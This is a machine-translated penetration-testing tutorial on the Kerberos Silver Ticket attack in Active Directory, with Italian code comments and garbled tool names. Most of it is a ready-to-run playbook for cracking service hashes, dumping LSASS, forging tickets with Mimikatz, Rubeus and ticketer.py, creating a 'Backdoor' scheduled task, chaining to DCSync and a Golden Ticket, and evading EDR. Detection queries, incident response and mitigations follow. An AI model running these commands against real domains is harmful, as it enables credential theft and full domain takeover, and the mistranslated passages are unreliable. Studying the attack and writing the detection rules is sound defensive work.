Silver Ticket Attack: What It Is, How It Works, and How to Defend Yourself in AD

Silver Ticket Attack: Stealth Access to Services in Active Directory #

TL;DR: The Silver Ticket forges a Kerberos TGS using the hash of the target service account—without ever contacting the KDC. It's more limited than the Golden Ticket (one service, one host), but it's also stealthier: it doesn't generate events on the DC. If you have the hash of the DC's computer account, you can forge a Silver Ticket for LDAP and perform a DCSync without being a Domain Admin.

Quick Glossary #

For the complete Kerberos protocol, see Kerberos — Authentication in Active Directory.

• TGS (Ticket Granting Service): Ticket for accessing a single specific service (CIFS, LDAP, MSSQL, etc.). Different from the TGT, which is the general "passport."
• SPN (Service Principal Name): Unique identifier of a service in AD. Format servizio/host.dominio. Ex: cifs/DC01.corp.local.
• PAC (Privilege Attribute Certificate): A structure within the TGS that lists the user's groups. The service reads it to decide permissions—but rarely validates it against the DC.
• Service account: Account that runs a Windows service (SQL Server, IIS, etc.). This can be a regular AD user account or the computer account of the machine (e.g. DC01$).

Kerberos Internals: Why the Silver Ticket Works #

Normal Kerberos flow:

Client ──AS-REQ──► KDC ──AS-REP (TGT)──► Client
Client ──TGS-REQ (TGT)──► KDC ──TGS-REP (TGS cifrato con hash service)──► Client
Client ──TGS──► Servizio ──verifica hash, legge PAC──► Accesso concesso

Silver Ticket Flow (without KDC):

Attaccante ──[forgia TGS offline con hash service account]──► TGS falso
Attaccante ──TGS falso──► Servizio ──decripta con proprio hash, legge PAC falso──► Accesso concesso
                                           ▲
                              KDC non viene mai contattato
                              Nessun evento sul DC

In the normal flow, the KDC is at the center of everything. In the Silver Ticket, the KDC doesn't exist—the attacker directly impersonates the outcome of the process the KDC would have produced.

1. The client presents the TGT to the KDC and requests a TGS for the service (TGS-REQ).
2. The KDC generates the TGS, the hash code of the service account, and returns it (TGS-REP).
3. The client presents the TGS to the service.
4. The decrypts the TGS with your own key (its NTLM or AES hash) and reads the PAC.
5. The service grants or denies access based on the PAC — without contacting the DC.

The flaw: The service trusts the TGS because it's encrypted with its key. If the attacker has that key, they can forge a TGS with any PAC—putting any user, with any group—and the service will accept it as legitimate.

What doesn't happen: no TGS-REQ At the KDC, no 4769 event on the Domain Controller. The service accepted a completely fake ticket without knowing it and without anyone seeing it.

Update Nov 2021 (MS patch KB5008380): Before this patch, Silver Tickets could use invented usernames. After the patch, if PAC validation is enabled, the username must actually exist in AD. On systems that are not updated or do not have PAC validation, the old behavior is still possible.

Introduction #

The Silver Ticket is classified as T1558.002 (MITRE ATT&CK) . It doesn't require a krbtgt hash, nor does it require a Domain Admin—just the hash of a single service account. In return, access is limited to that service on that specific host.

It is the technique of choice when you want stealthy and targeted access without moving the entire domain compromise chain.

Where it stacks up against other techniques:

The Silver Ticket is the stealthiest of all because it doesn't generate any events on the DC —neither AS-REQ nor TGS-REQ. The target service is the only point of contact.

How it works (and when you really need it) #

The attacker forges a TGS directly, bypassing the KDC. The target service decrypts the TGS with its key, reads the manipulated PAC, and grants access to the impersonated user (typically Administrator or an admin account).

When it's really needed:

• Do you have the hash of a computer account (HOST$) or of a service account and you want to access its service silently.
• Do you want avoid touching the KDC (environments with MDI that monitors anomalous TGS-REQs).
• Do you have the hash of DC01$ → forge Silver Ticket for LDAP → run DCSync without being FROM (devastating scenario, see below).
• Do you want persistent access to a single service even after the impersonated user's password has been changed.
• You are working offline or in environments where the DC is unreachable.

The access chain up to the service account hash #

How to get the hash of a service account #

1. Kerberoasting (most common scenario)

Kerberoasting requires TGS for all accounts with SPNs, downloads them, and cracks them offline with hashcat. The cracked hash can be used directly for Silver Tickets.

# Enumera tutti gli SPN e richiedi i TGS
impacket-GetUserSPNs corp.local/user:Password123 -dc-ip 10.10.10.5 -request -outputfile kerberoast.txt

# Cracca offline
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

# L'hash risultante (NTLM del service account) è il tuo Silver Ticket key

2. Local dump of the machine running the service

If you have local access (local admin) on the server hosting the service, Mimikatz can dump LSASS and return both the NTLM hash and the AES keys:

# Mimikatz — dump LSASS in memoria
privilege::debug
sekurlsa::logonpasswords
# Cerca l'account del servizio nella lista

# Alternativa: dump del computer account (sempre presente su ogni macchina)
sekurlsa::logonpasswords
# Computer account = macchina stessa (es. WS01$) → chiave per HOST, CIFS, ecc.

3. DCSync (if already DA)

If you are already a Domain Admin and want the hash of a specific service account or computer account, impacket-secretsdump is the fastest method from Linux:

# Impacket
impacket-secretsdump corp.local/Administrator:pass@DC_IP -just-dc-user 'WS01$'

# Mimikatz
lsadump::dcsync /domain:corp.local /user:WS01$

4. NTDS.dit

Extracts all domain hashes in bulk — see DCSync.

How to extract AES keys (not just NTLM)

In modern environments, AES is preferred over RC4—both for stealth and because some domains enforce AES. To obtain the AES keys for a service account:

# Mimikatz — dump chiavi AES da LSASS (preferibile a sekurlsa::logonpasswords per AES)
privilege::debug
sekurlsa::ekeys
# Output per ogni account:
# * AES256 HMAC: <chiave hex 64 chars>
# * AES128 HMAC: <chiave hex 32 chars>
# * RC4-HMAC: <NTLM hash>

# Impacket secretsdump — estrae NTLM e Kerberos keys insieme
impacket-secretsdump corp.local/Administrator:pass@TARGET -just-dc-user 'svc_sql'
# Output include sia NT hash che aes256-cts-hmac-sha1-96 e aes128-cts-hmac-sha1-96

# Se hai craccato la password via Kerberoasting, puoi ricavare AES dalla password:
python3 -c "
import hashlib, hmac, struct
# Oppure usa: impacket-secretsdump LOCAL + system hive per AES keys
"
# In pratica: usa sempre impacket-secretsdump o sekurlsa::ekeys per avere le chiavi AES direttamente

Before forging, check if the target accepts AES:

nxc ldap DC_IP -u user -p pass --query "(samAccountName=svc_sql)" "msDS-SupportedEncryptionTypes"

If the value is 0 o 28 you can use NTLM hash (RC4). If it is 16 o 24, you are required to use the AES key — an RC4 ticket is rejected directly by the service. #

Prerequisites #

• NTLM hash o AES128/256 key of the target service account
• Domain SID of the domain
• Domain FQDN
• SPN of the target service (e.g. cifs/DC01.corp.local)
• Existing AD username to impersonate (post-patch Nov 2021)

# Recupera Domain SID se non lo hai
impacket-lookupsid corp.local/user:Password123@DC_IP 0

# Enumera SPN disponibili
impacket-GetUserSPNs corp.local/user:Password123 -dc-ip DC_IP

Step 1 — Identify the target and get the hash #

First, you need to know the SPN of the service you want to target and the account hosting it. You can use Impacket , NetExec , PowerView, or BloodHound :

# Enumera tutti i SPN del dominio (con Impacket)
impacket-GetUserSPNs corp.local/user:Password123 -dc-ip DC_IP

# Con nxc
nxc ldap DC_IP -u user -p Password123 --kerberoast kerberoast.txt

# Con PowerView — utile se sei già su un host Windows
Get-NetUser -SPN | Select-Object samaccountname, serviceprincipalname
# Filtra solo kerberoastabili con path verso risorse critiche
Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname,memberof

# Con BloodHound — dopo aver importato i dati del dominio
# Analysis → "List all Kerberoastable Accounts"
# Vantaggio: mostra subito se il service account ha path verso DA o verso host critici
# Evita di perdere tempo su account isolati senza impatto reale

# Trova il computer account di un host specifico (ha sempre SPN)
nxc smb TARGET_IP -u user -p Password123 --computer-accounts

Step 2 — Forge the Silver Ticket #

With Mimikatz #

Mimikatz use the command kerberos::golden also for Silver Tickets — the difference is the addition of /target: e /service: and using the service account hash instead of krbtgt.

# Silver Ticket per CIFS (accesso file share, C$)
kerberos::golden /user:Administrator /domain:corp.local \
  /sid:S-1-5-21-XXXXXXXXXX \
  /target:SERVER.corp.local \
  /service:cifs \
  /rc4:NTLM_HASH_SERVICE_ACCOUNT \
  /ticket:silver_cifs.kirbi

# Con AES256 (più stealth)
kerberos::golden /user:Administrator /domain:corp.local \
  /sid:S-1-5-21-XXXXXXXXXX \
  /target:SERVER.corp.local \
  /service:cifs \
  /aes256:AES256_KEY_SERVICE_ACCOUNT \
  /ticket:silver_cifs.kirbi

# OPSEC — durata realistica (evita il default di 10 anni)
kerberos::golden /user:Administrator /domain:corp.local \
  /sid:S-1-5-21-XXXXXXXXXX \
  /target:SERVER.corp.local \
  /service:cifs \
  /aes256:AES256_KEY \
  /startoffset:0 /endin:600 /renewmax:10080 \
  /ticket:silver_cifs.kirbi

# Inject diretto in sessione corrente
kerberos::ptt silver_cifs.kirbi

With Rubeus #

The red — for the Silver Ticket use the subcommand silver (different from the golden):

# Forge e inject in memoria
Rubeus.exe silver /service:cifs/SERVER.corp.local \
  /aes256:AES256_KEY \
  /user:Administrator \
  /domain:corp.local \
  /sid:S-1-5-21-XXXXXXXXXX \
  /nowrap /ptt

# Con NTLM hash (RC4)
Rubeus.exe silver /service:cifs/SERVER.corp.local \
  /rc4:NTLM_HASH \
  /user:Administrator \
  /domain:corp.local \
  /sid:S-1-5-21-XXXXXXXXXX \
  /nowrap /ptt

# Crea processo separato con il ticket (più pulito, evita contaminazione sessione)
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /show
# Prendi il LUID dall'output, poi inietta il ticket in quel LUID:
Rubeus.exe silver /service:cifs/SERVER.corp.local /aes256:KEY /user:Admin \
  /domain:corp.local /sid:SID /luid:0x123456 /ptt

With Impacket from Linux #

ticketer.py — script Packet for forging Silver Ticket from Linux with -spn:

# Con NTLM hash (RC4)
python3 ticketer.py \
  -nthash NTLM_HASH \
  -domain-sid S-1-5-21-XXXXXXXXXX \
  -domain corp.local \
  -spn cifs/SERVER.corp.local \
  Administrator

# Con AES256 (preferibile)
python3 ticketer.py \
  -aesKey AES256_KEY \
  -domain-sid S-1-5-21-XXXXXXXXXX \
  -domain corp.local \
  -spn cifs/SERVER.corp.local \
  Administrator

# Con durata realistica (in minuti)
python3 ticketer.py \
  -aesKey AES256_KEY \
  -domain-sid S-1-5-21-XXXXXXXXXX \
  -domain corp.local \
  -spn cifs/SERVER.corp.local \
  -duration 600 \
  Administrator

# Usa il ticket
export KRB5CCNAME=Administrator.ccache
impacket-smbclient -k -no-pass corp.local/Administrator@SERVER.corp.local

Conversion .kirbi ↔ .ccache #

impacket-ticketConverter silver_cifs.kirbi silver_cifs.ccache
impacket-ticketConverter silver_cifs.ccache silver_cifs.kirbi

Other tools #

kekeo — A toolkit by Benjamin Delpy (the same author as Mimikatz) specialized exclusively for Kerberos operations. It's lighter than Mimikatz because it doesn't touch LSASS, making it useful when you want to perform ticket operations without getting too close to the authentication process's memory.

# Silver Ticket con kekeo (sintassi alternativa)
kekeo.exe "tgs::forge /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /user:Administrator /service:cifs/SERVER.corp.local /rc4:NTLM_HASH /ptt"

In environments with EDRs actively blocking Mimikatz , kekeo can go undetected more easily due to its different binary signature and reduced attack surface. The main OPSEC advantage is that it doesn't interact with LSASS to generate the ticket—it uses the Windows Kerberos API directly. This avoids the LSASS access patterns that many EDRs track as indicators of compromise (OpenProcess on lsass.exe). It's not a universal solution, but it's worth keeping in your toolkit.

Scenarios by Service: What You Can Do with Each Silver Ticket #

This is the key section of the Silver Ticket. The service you hit determines what you can do. The SPN you enter in the ticket must match the target service.

CIFS / SMB — file system access #

The SPN cifs/HOST gives you full access to the host file system (C$, D$, administrative shares) as if you were Administrator.

# Forge
kerberos::golden /user:Administrator /domain:corp.local /sid:SID \
  /target:DC01.corp.local /service:cifs /rc4:HASH_DC01$ /ptt

# Usa
dir \\DC01\C$
dir \\DC01\ADMIN$
copy \\DC01\C$\Windows\NTDS\ntds.dit C:\temp\

# Da Linux
python3 ticketer.py -nthash HASH -domain-sid SID -domain corp.local \
  -spn cifs/DC01.corp.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-smbclient -k -no-pass corp.local/Administrator@DC01.corp.local

HOST — Remote execution and Windows services #

The SPN host/HOST It includes a series of built-in Windows services: SCM (Service Control Manager), Task Scheduler, and Remote Registry. It allows you to create scheduled tasks, manage services, and read the registry.

kerberos::golden /user:Administrator /domain:corp.local /sid:SID \
  /target:DC01.corp.local /service:host /rc4:HASH_DC01$ /ptt

# Scheduled task remoto
schtasks /create /s DC01.corp.local /tn "Backdoor" /tr "cmd /c whoami > C:\out.txt" /sc once /st 00:00
schtasks /run /s DC01.corp.local /tn "Backdoor"

LDAP — DCSync without being a Domain Admin ⚠️ #

Critical scenario. The SPN ldap/DC01 allows you to perform LDAP operations on the DC — including DCSync replication. If you obtain the DC's computer account hash (DC01$), you can forge a Silver Ticket for LDAP and perform a full DCSync without ever having had Domain Admin.

# Step 1 — Ottieni hash di DC01$ (Kerberoasting non funziona qui — è un computer account)
# Devi avere accesso locale sul DC o eseguire secretsdump da un account con privilegi
impacket-secretsdump corp.local/svc_backup:Password1@DC_IP -just-dc-user 'DC01$'

# Step 2 — Forgia Silver Ticket per LDAP
python3 ticketer.py -nthash HASH_DC01 -domain-sid S-1-5-21-XXXXXXXXXX \
  -domain corp.local -spn ldap/DC01.corp.local Administrator

# Step 3 — DCSync con il ticket
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k -no-pass -just-dc-ntlm corp.local/Administrator@DC01.corp.local
# → estrae tutti gli hash del dominio incluso krbtgt

This is one of the most underrated escalation paths: compromise an account with limited access to the DC (backup, monitoring), get the hash of DC01$, Silver Ticket LDAP, DCSync → Golden TicketAll without ever formally being a Domain Admin.

MSSQL — database access #

The SPN MSSQLSvc/host:porta gives you access to SQL Server as the service account. If that account is sysadmin, you have xp_cmdshell → RCE. Full details in Port 1433 MSSQL.

python3 ticketer.py -nthash HASH_MSSQL_SVC -domain-sid SID \
  -domain corp.local -spn MSSQLSvc/SQL01.corp.local:1433 Administrator

export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient -k -no-pass corp.local/Administrator@SQL01.corp.local

# Da Windows
kerberos::golden /user:Administrator /domain:corp.local /sid:SID \
  /target:SQL01.corp.local /service:MSSQLSvc /rc4:HASH /ptt

# Poi connettiti con Management Studio o sqlcmd usando autenticazione Windows

HTTP / HTTPS — web apps and Exchange #

The SPN http/HOST It gives you access to IIS, Outlook Web App, Exchange EWS, and any web app with Windows authentication.

kerberos::golden /user:Administrator /domain:corp.local /sid:SID \
  /target:EXCHANGE.corp.local /service:http /rc4:HASH /ptt
# Poi naviga a https://EXCHANGE/owa con il browser (userà il ticket Kerberos della sessione)

RPCSS — WMI and DCOM #

The SPN rpcss/HOST allows you to use WMI for remote command execution. From Linux use impacket-wmiexec:

kerberos::golden /user:Administrator /domain:corp.local /sid:SID \
  /target:SERVER.corp.local /service:rpcss /rc4:HASH /ptt

# Esecuzione via WMI
wmic /node:SERVER.corp.local process call create "cmd /c whoami > C:\out.txt"

# Da Linux
python3 ticketer.py -nthash HASH -domain-sid SID -domain corp.local \
  -spn rpcss/SERVER.corp.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-wmiexec -k -no-pass corp.local/Administrator@SERVER.corp.local

WSMAN / PowerShell Remoting #

kerberos::golden /user:Administrator /domain:corp.local /sid:SID \
  /target:SERVER.corp.local /service:wsman /rc4:HASH /ptt

Enter-PSSession -ComputerName SERVER.corp.local -Authentication Kerberos

TERMSRV — Interactive stealth RDP #

The SPN termsrv/HOST Allows you to open an RDP session on the host as the impersonated user, without knowing the password. Useful for interactive login when you need a GUI or when other remote execution methods are blocked by EDR.

# Forge Silver Ticket per RDP
kerberos::golden /user:Administrator /domain:corp.local /sid:SID \
  /target:SERVER.corp.local /service:termsrv \
  /aes256:AES256_KEY \
  /startoffset:0 /endin:600 /renewmax:10080 \
  /ticket:silver_rdp.kirbi

# Inject in sessione corrente
kerberos::ptt silver_rdp.kirbi

# Apri RDP usando mstsc — userà il ticket Kerberos della sessione
mstsc /v:SERVER.corp.local

# Da Linux — usa xfreerdp con il ccache
python3 ticketer.py -aesKey AES256_KEY -domain-sid SID \
  -domain corp.local -spn termsrv/SERVER.corp.local Administrator

export KRB5CCNAME=Administrator.ccache
xfreerdp /v:SERVER.corp.local /u:Administrator /d:corp.local /sec:kerberos /cert-ignore

Requirements for RDP via Silver Ticket:

• RDP enabled on the target machine (port 3389 reachable)
• The impersonated account must have local rights “Log in via Remote Desktop Services” (Allow log on through Remote Desktop Services) on the target host. Without this right, the connection is refused with “Access Denied” even with a valid ticket —a common mistake that makes people think the ticket is incorrect when in fact it's a local permit issue.

# Verifica se l'account ha il diritto RDP sull'host (da eseguire sul target)
Get-LocalGroupMember -Group "Remote Desktop Users"
# Administrator è normalmente nel gruppo Administrators → ha il diritto implicitamente
# Account non-admin → deve essere in "Remote Desktop Users"

# Aggiungi un account al gruppo Remote Desktop Users sul target (se hai exec remoto)
Add-LocalGroupMember -Group "Remote Desktop Users" -Member "corp\utente"

SPN → capacity summary table #

Step 3 — Ticket Verification and Use #

# Windows — verifica ticket in cache
klist
# Dovresti vedere: SERVER: cifs/DC01.corp.local @ CORP.LOCAL

# Accesso diretto
dir \\DC01\C$

# Linux
klist
# Verifica presenza del ticket CIFS/HOST/ecc.

# Test accesso SMB
impacket-smbclient -k -no-pass corp.local/Administrator@SERVER.corp.local

Offensive OPSEC #

AES256 instead of NTLM/RC4 If the service account has msDS-SupportedEncryptionTypes If configured for AES only, an RC4 ticket will be rejected. Always use AES if available. In modern domains, RC4 for a computer account is abnormal and may trigger alerts.

Realistic ticket duration The default tool is often 10 years — recognizable signature. Use /startoffset:0 /endin:600 in Mimikatz o -duration 600 in ticketer.py to align with the default AD (10 hours).

Username Exists in AD Post-patch Nov 2021, if PAC validation is enabled, the username in the ticket must exist in AD. Always use a real account—preferably one with a history of legitimate activity on that host.

gMSA and computer accounts: critical timing. Computer accounts rotate their passwords every 30 days. If the hash is older than 30 days, it may not work. Check the latest rotation before investing time in the forge.

Inject into separate process With The red uses createnetonly to create an isolated process with the ticket, avoiding contaminating the current session or overwriting legitimate tickets.

One SPN at a time . A Silver Ticket is valid for only one SPN. If you need access to CIFS and WMI on the same host, create two separate tickets.

Limitations and common mistakes #

• Wrong SPN: Ticket must have SPN exact of the service (including FQDN, not IP). cifs/10.10.10.5 it doesn't work — you have to use cifs/DC01.corp.local.
• AES vs RC4If the domain forces AES and you use NTLM hash, the ticket will be rejected. Check msDS-SupportedEncryptionTypes of the target account.
• PAC validation activeIf the service is configured to validate the PAC against the DC, the Silver Ticket is detected and rejected. Rare by default, but present on some hardened environments.
• Computer account already rotatedComputer accounts automatically change passwords every 30 days. If the hash is out of date, the ticket will not work.
• Non-existent username (post-patch)After November 2021, with PAC validation enabled, made-up usernames will be rejected. Use real AD accounts.
• Clock SkewAs with all Kerberos tickets, there is a 5-minute grace period. Clock errors = ticket rejected.
• Scope limited to one hostThe Silver Ticket is only valid for service on the specific host in the SPN. It does not move you to other hosts.

Real scenario #

A pentester in an AD engagement gains low-privilege access to a backup server that has read permissions on some DC shares. Using local access, he dumps the LSASS and retrieves the computer account hash. DC01$. He is not a Domain Admin and Kerberoasting did not produce crackable hashes.

With the hash of DC01$:

1. Forge a Silver Ticket for ldap/DC01.corp.local.
2. Run DCSync with impacket-secretsdump → extracts all domain hashes including krbtgt.
3. Forge a Golden Ticket with the hash of krbtgt → full persistence.

All this without ever having formally been a Domain Administrator. The only trace: a Kerberos type 3 logon to the DC with the Administrator account—but there's no TGS-REQ for the DC in the logs, because the ticket was forged.

Detection #

Detecting a Silver Ticket is more difficult than a Golden Ticket because it doesn't generate events on the DC. The signals are on the target, not the KDC.

🔴 HIGH — Critical signals (on the target server, not the DC):

• Event ID 4624 (Logon Type 3) on the target server with an unusual account or from an anomalous IP — without a corresponding Event ID 4769 on the DC.
• Event ID 4627 — “Group Membership Information” — generated on target server (not on the DC) after a successful logon. Contains the SIDs of the logged-in user's groups. If the PAC is fake, these SIDs will reflect the attacker's invented groups. Useful for post-incident correlation: if the groups in 4627 do not match the user's actual AD membership, the ticket was forged.
• Service accounts logging in at unusual times or from non-normal IPs.

🟡 MEDIUM — Secondary signals:

• Encryption type 0x17 (RC4) for a service configured for AES.
• Ticket with abnormal lifetime (years instead of hours).
• Access administrative shares (C$, ADMIN$) from accounts that don't normally use them.
• DCSync from an account that is not DA and does not explicitly have replication permissions — indicates possible LDAP Silver Ticket.

Honey SPN: Create a service account with a “cool” SPN (e.g. MSSQLSvc/db-prod) but zero real access. Any use of that SPN is guaranteed to be a warning.

PAC validation: If enabled, the service contacts the DC to validate the PAC — it generates Event ID 4769 on the DC even for Silver Tickets, breaking stealth. This is the most effective way to make Silver Tickets discoverable.

# Verifica se PAC validation è attiva sul server target (da eseguire sul target con accesso)
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v ValidateKdcPacSignature
# 0x0 = disabilitata (default) → Silver Ticket passa inosservato
# 0x1 = abilitata → il servizio contatta il DC per validare il PAC

# Verifica remota con accesso locale admin
Invoke-Command -ComputerName SERVER.corp.local -ScriptBlock {
  (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa").ValidateKdcPacSignature
}
# Se il valore non esiste = disabilitata per default

Microsoft Defender for Identity : Has detection for Silver Tickets based on network logon anomalies — accounts accessing services without a matching TGS-REQ on the DC.

SIEM Correlation — How to Implement the Rule

Correlation 4624 without 4769 is the primary signature of the Silver Ticket. It requires centralized logs from all DCs and all critical servers. Example logic in KQL (Microsoft Sentinel):

// Silver Ticket detection — 4624 su host target senza 4769 corrispondente sul DC
let timeWindow = 10m;
SecurityEvent
| where EventID == 4624 and LogonType == 3
| where TargetUserName !endswith "$"   // Escludi computer account legittimi
| extend logonTime = TimeGenerated, targetHost = Computer, targetUser = TargetUserName
| join kind=leftanti (
    SecurityEvent
    | where EventID == 4769   // TGS-REQ sul DC
    | extend tgsTime = TimeGenerated, tgsUser = TargetUserName
    | where tgsTime between (ago(timeWindow)..now())
) on $left.targetUser == $right.tgsUser
| where logonTime > ago(1h)
| project logonTime, targetHost, targetUser, IpAddress, LogonType
| sort by logonTime desc

Splunk SPL equivalent:

index=wineventlog EventCode=4624 Logon_Type=3
| eval logon_time=_time, target_user=Account_Name
| join type=left target_user [
    search index=wineventlog EventCode=4769
    | stats count by Account_Name
    | rename Account_Name as target_user
]
| where isnull(count)
| table logon_time, host, target_user, Source_Network_Address

These rules generate false positives in large environments—refine with whitelists of legitimate service accounts and computer accounts. Use as a starting point, not as a final rule.

Incident Response #

Unlike the Golden Ticket, the Silver Ticket does not require a krbtgt reset to be invalidated.

1. Identify the compromised service account: Search the target server logs for Event ID 4624 with anomalous accounts, then trace the service account used.
2. Reset the password of the compromised service account:

# Per un account utente normale
Set-ADAccountPassword -Identity svc_sql -Reset \
  -NewPassword (ConvertTo-SecureString "NuovaPwd!" -AsPlainText -Force)

# Per un computer account — forza reset immediato
Reset-ComputerMachinePassword -Server DC01.corp.local

# Oppure via netdom
netdom resetpwd /server:DC01.corp.local /ud:corp\Administrator /pd:*

1. If it was a computer accountResetting forces password renegotiation with the DC. Tickets forged with the old key immediately become invalid.
2. Hunting on persistencesVerify that the attacker hasn't already run DCSync or forged a Golden Ticket before you take action. If there was any anomalous LDAP access to the DC, treat it as a full compromise.
3. Enable PAC validation where applicable for critical services (see mitigation section).
4. Analyze all type 3 logons on critical servers in the last few weeks — look for ones without a matching TGS-REQ on the DC.

Hybrid Environments: Silver Ticket and Azure AD #

Silver Ticket is an on-premise-only technique . It doesn't work for cloud-native resources (SharePoint Online, Exchange Online, Teams, Azure-joined devices) because they use OAuth2/OIDC tokens via Azure AD—not on-prem Kerberos.

What works and what doesn't in hybrid environments:

Azure AD Connect — the critical point of hybrid environments

If your environment uses Azure AD Connect for on-prem → cloud synchronization, compromise that server (or account MSOL_XXXXXXXXXX (which it uses) opens vectors to Azure AD. A Silver Ticket for CIFS or LDAP on the Azure AD Connect server can be the bridge between on-prem and the cloud.

The Silver Ticket doesn't reach the cloud directly—but it can affect hybrid infrastructure connecting on-prem to the cloud. For specific attacks on Azure AD in hybrid environments, see Active Directory—Exploitation.

Mitigation and prevention #

• Long, random passwords for service accounts (30+ characters): Makes Kerberoasting ineffective. Cracking with 30 random characters is computationally impossible.
• gMSA (Group Managed Service Accounts)AD-managed accounts with passwords that are automatically rotated every 30 days, randomly generated by AD itself. Virtually immune to Kerberoasting and Silver Tickets—but not an absolute defense.

gMSA Limit: If the attacker manages to DCSync or compromise one of the hosts authorized to recover the gMSA password (PrincipalsAllowedToRetrieveManagedPassword), obtains the current hash and can still forge a Silver Ticket valid until the next rotation (max 30 days). The gMSA drastically reduces the exposure window but does not eliminate it.

# Crea un gMSA
New-ADServiceAccount -Name "gMSA_SQL" -DNSHostName SQL01.corp.local \
  -PrincipalsAllowedToRetrieveManagedPassword "SQL01$"

# Assegna al server
Install-ADServiceAccount -Identity gMSA_SQL

• Enable PAC Validation On critical services: Forces the service to contact the DC to validate the PAC → Silver Ticket detected/blocked. Enable via GPO or registry on specific servers.

HKLM\SYSTEM\CurrentControlSet\Control\Lsa
ValidateKdcPacSignature = 1

• Regular rotation of computer account passwords: Windows default is 30 days — do not disable it.
• Monitor DCSyncEvent ID 4662 for logins with replication rights. If you see DCSync from a non-DA account, investigate immediately.
• LAPS (Local Administrator Solution Password): Unique, rotating local admin password for each machine — limits local LSASS dump as a vector for obtaining computer account hash.
• Protected Users Security Group: Force Kerberos (no NTLM), prevent delegation, require AES. Add all privileged accounts.
• Limit unnecessary SPNs: Remove orphaned or unused SPNs — less attack surface for Kerber-roasting and Silver Ticket. USA blood hound to map all SPNs in the domain and identify high-risk ones.
• Force AES as encryption type (msDS-SupportedEncryptionTypes): value 0 (legacy default) = RC4 + all accepted. Set 24 (AES128+AES256) or 16 (AES256 only) to block RC4 tickets.
• Kerberos Armoring (FAST)Available since Windows Server 2012, it encrypts AS-REQ/TGS-REQ communications between clients and KDCs. It has limited impact on Silver Tickets—the ticket is forged offline without touching the KDC—but reduces the attack surface on other Kerberos vectors (AS-REP Roasting, downgrade). It is worth enabling it in Functional Domains ≥ 2012 via GPO. KDC support for claims, compound authentication and Kerberos armoring.

Comparison: Silver / Golden / Diamond / Sapphire #

Quick Reference #

1. Get the service account hash (Kerberoasting):

impacket-GetUserSPNs corp.local/user:pass -dc-ip DC_IP -request -outputfile kerberoast.txt
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

2. Forging with Mimikatz (AES256 + realistic durability):

kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /target:SERVER.corp.local /service:cifs /aes256:AES_KEY /startoffset:0 /endin:600 /renewmax:10080 /ticket:silver.kirbi
kerberos::ptt silver.kirbi

3. Forging with Rubeus:

Rubeus.exe silver /service:cifs/SERVER.corp.local /aes256:AES_KEY /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /nowrap /ptt

4. Forging with Impacket from Linux:

python3 ticketer.py -aesKey AES_KEY -domain-sid S-1-5-21-XXXXXXXXXX -domain corp.local -spn cifs/SERVER.corp.local -duration 600 Administrator
export KRB5CCNAME=Administrator.ccache
impacket-smbclient -k -no-pass corp.local/Administrator@SERVER.corp.local

5. Silver Ticket LDAP → DCSync (without DA):

python3 ticketer.py -nthash HASH_DC01 -domain-sid SID -domain corp.local -spn ldap/DC01.corp.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k -no-pass -just-dc-ntlm corp.local/Administrator@DC01.corp.local

6. Remediation — reset service account:

Set-ADAccountPassword -Identity svc_target -Reset -NewPassword (ConvertTo-SecureString "NuovaPwd!" -AsPlainText -Force)
# Per computer account:
Reset-ComputerMachinePassword -Server DC01.corp.local

FAQ #

Does the Silver Ticket work even if the impersonated user has changed their password? Yes. The ticket is encrypted with the service account hash, not the impersonated user's. The impersonated user's password is irrelevant.

What invalidates a Silver Ticket? Only resetting the password of the service account (or computer account) used to forge it. Not resetting krbtgt, nor changing the password of the impersonated user.

Does the Silver Ticket work on updated systems? It depends on the configuration. If PAC validation is enabled and the username doesn't exist in AD (post-patch Nov 2021), the ticket will be rejected. On standard default configurations, it still works.

Silver Ticket vs. Kerberoasting: What's the difference? Kerberoasting cracks the service account hash offline to obtain the cleartext password. Silver Ticket uses the hash directly (without cracking) to forge tickets—faster but requires the raw hash, not the password.

Can I use a Silver Ticket to move to other hosts? No. The Silver Ticket is only valid for the service on the host specified in the SPN. To move to other hosts, you must create separate tickets or use a Golden Ticket.

Can I use DC01$ for DCSync? Yes — it's one of the most underrated paths. Silver Ticket for ldap/DC01.corp.local with the hash of DC01$ → DCSync → all domain hashes.

Does PAC validation break all Silver Tickets? Not all. If the service runs as SYSTEM (rather than a user account), it performs server signature verification internally without contacting the DC. PAC validation via NRPC is primarily enabled for services running as a user account or specific service.

MITRE ATT&CK Mapping #

Final takeaway #

1. The Silver Ticket is the stealthiest of all Kerberos attacks — no events on the DC, no TGS-REQ, just a network logon on the target.
2. The hash of DC01$ + Silver Ticket LDAP = DCSync without DA — critical and often ignored escalation path by the defense.
3. Remediation is surgical: just reset the password of the compromised service account, do not touch krbtgt.
4. gMSA is the most effective defense — auto-rotating password, immune to Kerberoasting and Silver Ticket.

Conclusion #

The Silver Ticket is the precision instrument in the Kerberos arsenal: limited scope, surgical impact, maximum stealth. It requires no Domain Admin, doesn't touch the KDC, and leaves no traces on the DC. A defender who only looks for events on the Domain Controller will never see it. Detection requires target host-level correlation and enabling PAC validation—rare configurations in enterprise environments.

The most critical path: hash of DC01$ → Silver Ticket LDAP → DCSync → Golden Ticket. All this starting from a backup account with limited privileges, without ever formally being Domain Admin.

Related Articles #

• Kerberos — Active Directory Authentication
• Golden Ticket
• Diamond Ticket
• Sapphire Ticket
• Kerber-roasting
• DCSync
• Pass-the-Ticket
• Pass the Hash
• Mimikatz
• The red
• Packet
• NetExec
• Active Directory — exploitation
• Port 1433 MSSQL

Sources and external references #

• MITER ATT&CK – T1558.002: Silver Ticket
• MITER ATT&CK – T1558.003: Kerberoasting
• MITER ATT&CK – T1550.003: Pass the Ticket
• Impacket – ticketer.py
• ADSecurity – Detecting Forged Kerberos Tickets

For use in authorized environments only.

